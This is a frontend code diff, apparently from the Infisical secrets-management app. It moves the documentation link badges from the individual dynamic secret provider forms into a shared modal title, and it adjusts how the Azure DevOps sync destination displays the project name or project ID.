||||
|
||||
const UniqueLinks: Record<string, string> = {
|
||||
[DynamicSecretProviders.SqlDatabase]: "postgresql", // gotta pick one...
|
||||
[DynamicSecretProviders.MongoAtlas]: "mongo-atlas"
|
||||
};
|
||||
|
||||
export const CreateDynamicSecretForm = ({
|
||||
isOpen,
|
||||
onToggle,
|
||||
@ -169,10 +183,31 @@ export const CreateDynamicSecretForm = ({
|
||||
setSelectedProvider(null);
|
||||
};
|
||||
|
||||
const modalTitle = selectedProvider ? DynamicSecretDetails[selectedProvider] : null;
|
||||
|
||||
return (
|
||||
<Modal isOpen={isOpen} onOpenChange={(state) => handleFormReset(state)}>
|
||||
<ModalContent
|
||||
title="Dynamic secret setup"
|
||||
title={
|
||||
<div className="flex items-center">
|
||||
<span>{modalTitle ? `${modalTitle} Dynamic Secret` : "Dynamic Secrets"} </span>
|
||||
<a
|
||||
href={`https://infisical.com/docs/documentation/platform/dynamic-secrets/${selectedProvider ? (UniqueLinks[selectedProvider] ?? selectedProvider) : "overview"}`}
|
||||
target="_blank"
|
||||
className="mb-0.5 ml-1.5"
|
||||
rel="noopener noreferrer"
|
||||
>
|
||||
<div className="inline-block rounded-md bg-yellow/20 px-1.5 text-sm text-yellow opacity-80 hover:opacity-100">
|
||||
<FontAwesomeIcon icon={faBookOpen} className="mb-[0.03rem] mr-1 text-[12px]" />
|
||||
<span>Docs</span>
|
||||
<FontAwesomeIcon
|
||||
icon={faArrowUpRightFromSquare}
|
||||
className="mb-[0.07rem] ml-1 text-[10px]"
|
||||
/>
|
||||
</div>
|
||||
</a>
|
||||
</div>
|
||||
}
|
||||
subTitle="Configure dynamic secret parameters"
|
||||
className="my-4 max-w-3xl"
|
||||
>
|
||||
|
@ -1,10 +1,5 @@
|
||||
import { Controller, FieldValues, useFieldArray, useForm } from "react-hook-form";
|
||||
import {
|
||||
faArrowUpRightFromSquare,
|
||||
faBookOpen,
|
||||
faQuestionCircle,
|
||||
faTrash
|
||||
} from "@fortawesome/free-solid-svg-icons";
|
||||
import { faQuestionCircle, faTrash } from "@fortawesome/free-solid-svg-icons";
|
||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||
import { zodResolver } from "@hookform/resolvers/zod";
|
||||
import { useQuery } from "@tanstack/react-query";
|
||||
@ -293,20 +288,6 @@ export const KubernetesInputForm = ({
|
||||
<div>
|
||||
<div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
|
||||
Configuration
|
||||
<a
|
||||
href="https://infisical.com/docs/documentation/platform/dynamic-secrets/kubernetes"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
>
|
||||
<div className="mb-1 ml-2 inline-block cursor-default rounded-md bg-yellow/20 px-1.5 pb-[0.03rem] pt-[0.04rem] text-sm text-yellow opacity-80 hover:opacity-100">
|
||||
<FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
|
||||
Docs
|
||||
<FontAwesomeIcon
|
||||
icon={faArrowUpRightFromSquare}
|
||||
className="mb-[0.07rem] ml-1.5 text-xxs"
|
||||
/>
|
||||
</div>
|
||||
</a>
|
||||
</div>
|
||||
<div className="flex flex-col">
|
||||
<div className="flex items-center space-x-2">
|
||||
|
@ -1,6 +1,4 @@
|
||||
import { Controller, useForm } from "react-hook-form";
|
||||
import { faArrowUpRightFromSquare, faBookOpen } from "@fortawesome/free-solid-svg-icons";
|
||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||
import { zodResolver } from "@hookform/resolvers/zod";
|
||||
import ms from "ms";
|
||||
import { z } from "zod";
|
||||
@ -220,20 +218,6 @@ export const LdapInputForm = ({
|
||||
<div>
|
||||
<div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
|
||||
Configuration
|
||||
<a
|
||||
href="https://infisical.com/docs/documentation/platform/dynamic-secrets/ldap"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
>
|
||||
<div className="mb-1 ml-2 inline-block cursor-default rounded-md bg-yellow/20 px-1.5 pb-[0.03rem] pt-[0.04rem] text-sm text-yellow opacity-80 hover:opacity-100">
|
||||
<FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
|
||||
Docs
|
||||
<FontAwesomeIcon
|
||||
icon={faArrowUpRightFromSquare}
|
||||
className="mb-[0.07rem] ml-1.5 text-xxs"
|
||||
/>
|
||||
</div>
|
||||
</a>
|
||||
</div>
|
||||
<div className="flex flex-col">
|
||||
<div className="flex items-center space-x-2">
|
||||
|
@ -1,6 +1,4 @@
|
||||
import { Controller, useForm } from "react-hook-form";
|
||||
import { faArrowUpRightFromSquare, faBookOpen } from "@fortawesome/free-solid-svg-icons";
|
||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||
import { zodResolver } from "@hookform/resolvers/zod";
|
||||
import ms from "ms";
|
||||
import { z } from "zod";
|
||||
@ -185,20 +183,6 @@ export const SnowflakeInputForm = ({
|
||||
<div>
|
||||
<div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
|
||||
Configuration
|
||||
<a
|
||||
href="https://infisical.com/docs/documentation/platform/dynamic-secrets/snowflake"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
>
|
||||
<div className="mb-1 ml-2 inline-block rounded-md bg-yellow/20 px-1.5 pb-[0.03rem] pt-[0.04rem] text-sm text-yellow opacity-80 hover:opacity-100">
|
||||
<FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
|
||||
Docs
|
||||
<FontAwesomeIcon
|
||||
icon={faArrowUpRightFromSquare}
|
||||
className="mb-[0.07rem] ml-1.5 text-xxs"
|
||||
/>
|
||||
</div>
|
||||
</a>
|
||||
</div>
|
||||
<div className="flex flex-col">
|
||||
<div className="flex items-center space-x-2">
|
||||
|
@ -1,6 +1,4 @@
|
||||
import { Controller, useForm } from "react-hook-form";
|
||||
import { faArrowUpRightFromSquare, faBookOpen } from "@fortawesome/free-solid-svg-icons";
|
||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||
import { zodResolver } from "@hookform/resolvers/zod";
|
||||
import { z } from "zod";
|
||||
|
||||
@ -146,20 +144,6 @@ export const TotpInputForm = ({
|
||||
<div>
|
||||
<div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
|
||||
Configuration
|
||||
<a
|
||||
href="https://infisical.com/docs/documentation/platform/dynamic-secrets/totp"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
>
|
||||
<div className="mb-1 ml-2 inline-block rounded-md bg-yellow/20 px-1.5 pb-[0.03rem] pt-[0.04rem] text-sm text-yellow opacity-80 hover:opacity-100">
|
||||
<FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
|
||||
Docs
|
||||
<FontAwesomeIcon
|
||||
icon={faArrowUpRightFromSquare}
|
||||
className="mb-[0.07rem] ml-1.5 text-xxs"
|
||||
/>
|
||||
</div>
|
||||
</a>
|
||||
</div>
|
||||
<div className="flex flex-col">
|
||||
<Controller
|
||||
|
@ -1,10 +1,5 @@
|
||||
import { Controller, FieldValues, useFieldArray, useForm } from "react-hook-form";
|
||||
import {
|
||||
faArrowUpRightFromSquare,
|
||||
faBookOpen,
|
||||
faQuestionCircle,
|
||||
faTrash
|
||||
} from "@fortawesome/free-solid-svg-icons";
|
||||
import { faQuestionCircle, faTrash } from "@fortawesome/free-solid-svg-icons";
|
||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||
import { zodResolver } from "@hookform/resolvers/zod";
|
||||
import { useQuery } from "@tanstack/react-query";
|
||||
@ -285,20 +280,6 @@ export const EditDynamicSecretKubernetesForm = ({
|
||||
<div>
|
||||
<div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
|
||||
Configuration
|
||||
<a
|
||||
href="https://infisical.com/docs/documentation/platform/dynamic-secrets/kubernetes"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
>
|
||||
<div className="mb-1 ml-2 inline-block cursor-default rounded-md bg-yellow/20 px-1.5 pb-[0.03rem] pt-[0.04rem] text-sm text-yellow opacity-80 hover:opacity-100">
|
||||
<FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
|
||||
Docs
|
||||
<FontAwesomeIcon
|
||||
icon={faArrowUpRightFromSquare}
|
||||
className="mb-[0.07rem] ml-1.5 text-xxs"
|
||||
/>
|
||||
</div>
|
||||
</a>
|
||||
</div>
|
||||
<div className="flex flex-col">
|
||||
<div className="flex items-center space-x-2">
|
||||
|
@ -1,6 +1,4 @@
|
||||
import { Controller, useForm } from "react-hook-form";
|
||||
import { faArrowUpRightFromSquare, faBookOpen } from "@fortawesome/free-solid-svg-icons";
|
||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||
import { zodResolver } from "@hookform/resolvers/zod";
|
||||
import ms from "ms";
|
||||
import { z } from "zod";
|
||||
@ -186,20 +184,6 @@ export const EditDynamicSecretSnowflakeForm = ({
|
||||
<div>
|
||||
<div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
|
||||
Configuration
|
||||
<a
|
||||
href="https://infisical.com/docs/documentation/platform/dynamic-secrets/snowflake"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
>
|
||||
<div className="mb-1 ml-2 inline-block rounded-md bg-yellow/20 px-1.5 pb-[0.03rem] pt-[0.04rem] text-sm text-yellow opacity-80 hover:opacity-100">
|
||||
<FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
|
||||
Docs
|
||||
<FontAwesomeIcon
|
||||
icon={faArrowUpRightFromSquare}
|
||||
className="mb-[0.07rem] ml-1.5 text-xxs"
|
||||
/>
|
||||
</div>
|
||||
</a>
|
||||
</div>
|
||||
<div className="flex flex-col">
|
||||
<div className="flex items-center space-x-2">
|
||||
|
@ -1,6 +1,4 @@
|
||||
import { Controller, useForm } from "react-hook-form";
|
||||
import { faArrowUpRightFromSquare, faBookOpen } from "@fortawesome/free-solid-svg-icons";
|
||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||
import { zodResolver } from "@hookform/resolvers/zod";
|
||||
import { z } from "zod";
|
||||
|
||||
@ -138,20 +136,6 @@ export const EditDynamicSecretTotpForm = ({
|
||||
<div>
|
||||
<div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
|
||||
Configuration
|
||||
<a
|
||||
href="https://infisical.com/docs/documentation/platform/dynamic-secrets/totp"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
>
|
||||
<div className="mb-1 ml-2 inline-block rounded-md bg-yellow/20 px-1.5 pb-[0.03rem] pt-[0.04rem] text-sm text-yellow opacity-80 hover:opacity-100">
|
||||
<FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
|
||||
Docs
|
||||
<FontAwesomeIcon
|
||||
icon={faArrowUpRightFromSquare}
|
||||
className="mb-[0.07rem] ml-1.5 text-xxs"
|
||||
/>
|
||||
</div>
|
||||
</a>
|
||||
</div>
|
||||
<div className="flex flex-col">
|
||||
<Controller
|
||||
|
@ -7,8 +7,12 @@ type Props = {
|
||||
|
||||
export const AzureDevOpsSyncDestinationSection = ({ secretSync }: Props) => {
|
||||
const {
|
||||
destinationConfig: { devopsProjectName }
|
||||
destinationConfig: { devopsProjectName, devopsProjectId }
|
||||
} = secretSync;
|
||||
|
||||
return <GenericFieldLabel label="Project">{devopsProjectName}</GenericFieldLabel>;
|
||||
return (
|
||||
<GenericFieldLabel label={devopsProjectName ? "Project" : "Project ID"}>
|
||||
{devopsProjectName || devopsProjectId}
|
||||
</GenericFieldLabel>
|
||||
);
|
||||
};
|
||||
|
Reference in New Issue
Block a user